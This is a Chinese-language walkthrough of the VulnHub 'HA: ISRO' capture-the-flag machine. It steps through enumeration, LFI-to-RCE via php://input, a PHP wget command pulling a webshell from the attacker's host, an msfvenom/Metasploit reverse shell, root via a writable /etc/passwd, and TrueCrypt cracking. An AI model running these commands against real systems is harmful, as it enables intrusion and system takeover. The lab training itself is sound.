尧图建网站 尧图建网站 YAOTU WEB BUILD 免费咨询
ARTICLE DETAIL

资讯详情

深耕网站建设与建站编程的一线实战洞察。

VulnHub 系列:HA,ISRO

VulnHub 系列:HA,ISRO 靶机描述This is our tribute to the Indian Space Research Organisation (ISRO).We as Indians are proud of ISRO and its achievements. Solve thisCTF challenge and feel the work of ISRO. This machine contains 4 different flags to test your skills.- Aryabhata- Bhaskara-Mangalyaan- Chandrayaan2 ENUMERATION IS THE KEY!!!!!一、信息收集靶机IP192.168.152.137netdiscover -r 192.168.152.0/24端口和服务nmap -sS -sV -T4 -A -p- 192.168.152.137页面、目录枚举dirb http://192.168.152.137 -X .php,.txt,.zip,.htmlpython3 /home/kali/Downloads/dirsearch/dirsearch.py -u http://192.168.152.137 -e .php,.txt,.zip,.htmlgobuster dir -u http://192.168.152.137 -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -x .php,.txt,.html,.zip网站首页http://192.168.152.137/bhaskara.html对L2JoYXNrYXJh 进行base64 解码得到/bhaskaraecho L2JoYXNrYXJh | base64 -d结果让人喜悦以为这是个目录吧然后就访问了一下结果下载了一个文件。file 命令查看文件类型file /home/kali/Downloads/bhaskara二、aryabhata 的flaghttp://192.168.152.137/img/使用steghide 提取出flag.txt这里输入密码的地方直接回车就可以了。steghide extract -sf /home/kali/Desktop/aryabhata.jpg三、发现LFI 漏洞存在文件包含漏洞测试出了webroot 的物理路径view-source:http://192.168.152.137/connect.php?file/var/www/html/index.html随后用wfuzz 想测试一下有哪些文件可读取wfuzz -c -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt --hl 0 http://192.168.152.137/connect.php\?file\FUZZ把重复的内容过滤之后剩下了这些可读的默认路径文件• /etc/passwd• /etc/group• /proc/self/stat• /proc/self/status• /etc/mysql/my.cnf• /etc/vsftpd.conf• /etc/issue手工测试的时候还发现了Uid 是33说明运行apache 服务的系统用户是www-data四、getshellgetshell 的过程如下•/proc/self/environ 无法访问所以shell via LFI - proc/self/environmethod 无法使用。•没有开启SMTP 服务所以利用SMTP 日志LFI 本地文件包含进行getshell无法使用。•无法读取/var/log/auth.log 或者没有权限nmap 扫描的时候发现安装的是openssh 7.6p1google 搜索了一下openssh log location•尝试读取了/etc/ssh/sshd_config没什么有价值的信息RCE with LFI and SSH Log Poisoning 也就用不了.•/var/log/apache2/access.log 的内容没有读取到From Local File Inclusion to Remote Code Execution - Part 1 也就用不了尝试了这篇文章里的方法local-file-inclusion-remote-code-execution-vulnerability成功读取到phpinfo 信息步骤如下第一步使用Burpsuite 对connect.php 页面进行抓包第二步修改GET 请求为POST 请求并将file 参数值设为php://input第三步增加POST 请求内容?php phpinfo(); ?第四步发送请求之后为了方便查看返回的内容我使用了Burpsuite 里面的Render 以达到在浏览器上访问页面的效果。既然这样我想就可以用下面这个方法上传shell 了但是过程并不顺利?php system(wget http://192.168.152.134/shell.php -O /var/www/html/shell.php); ?ifconfig 命令查看kali 的IP 为192.168.152.134msfvenom 生成webshellmsfvenom -p php/meterpreter/reverse_tcp LHOST192.168.152.134 LPORT1234 R shell.php记得把/*两个字符删除msfconsole 准备接收反弹的shelluse exploit/multi/handler set payload php/meterpreter/reverse_tcp set lhost 192.168.152.134 set lport 1234 run浏览器上访问http://192.168.152.137/shell.php状态码200但是msfconsole 并没有接收到shell。随后我用同样的方法上传了phpinfo.php然后浏览器访问时正常显示。那么为什么shell 没有反弹检查了一遍本地的shell.php没有什么问题而且之前也都用了好多遍的。那么靶机上的shell.php 是否是“正常”的。从下图中可以看到已经上传上去了。尝试查看shell.php 的内容时却返回了400 的请求尝试将shell 代码进行base64 编码以下payload 均需base64 编码是可以成功执行的。这个是因为靶机是Ubuntu 的nc 默认是无法使用-e 参数的。最后我直接把msfvenom 生成的webshell 代码进行base64 编码然后使用发送请求成功getshell。shell python3 -c import pty;pty.spawn(/bin/bash)五、获取root 权限查找SUID 权限可执行文件find / -perm -us -type f 2/dev/null目前知道的可以提权的SUID 权限可执行文件有• nmap• vim• less• more• nano• cp• mv• find•wget•bash 故排除SUID 提权的可能性。查看全局可写目录并没有发现有价值的信息find / -writable -type d 2/dev/null查找全局可写文件结果中奖了发现/etc/passwd 文件可写这不就等于已经提权成功了么哈哈哈find / -writable -type f 2/dev/nullopenssl 生成密文openssl passwd -1 -salt saltvalue ins1ght在/etc/passwd 最后一行增加如下内容ins1ght:$1$saltvalu$Uzv54LFsmMMwfOZE2hYK//:0:0:who add it:/bin/bash。这里没有用vim 或nano 去编辑/etc/passwd。nano 没在这个靶机里面用成报错了用vim 的时候习惯先用上下左右键移动光标到最后一行但是这个pty 里面用不了。这里用echo 命令将内容附加到/etc/passwd 文件中的。echo ins1ght:$1$saltvalu$Uzv54LFsmMMwfOZE2hYK//:0:0:who add it:/bin/bash /etc/passwdsu 切换至root 权限su ins1ghtid cd /root ls cat final.txt六、bhaskara 的flagGithub 上找到别人写好的获取TrueCrypt 文件hash 值的脚本truecrypt2john.pypython truecrypt2john.py /home/kali/Downloads/bhaskara hashjohn -wordlist/usr/share/wordlists/rockyou.txt hash得到密码xavier1下载VeraCrypt 用来打开bhaskara这里下载的是Debian-9 的版本下载后校验sha256校验通过后进行安装。sha256sum Desktop/veracrypt-1.24-Debian-9-amd64.deb dpkg -i Desktop/veracrypt-1.24-Debian-9-amd64.deb2打开bhaskara 文件出现上图中错误是因为没有勾选TrueCrypt Mode见下图。之后会挂载一个光驱大家的图标可能略有不同七、Mangalyaan 的flag之前nmap 扫描端口和服务的时候并没有发现3306 端口但是其实靶机是开了3306 端口的并且只能在本地访问。登录数据库没有密码读取flagmysql -u root -h 127.0.0.1 -pshow databases; use flag; show tables; select flag from flag;至此靶机的4 个flag 都拿到了。
返回列表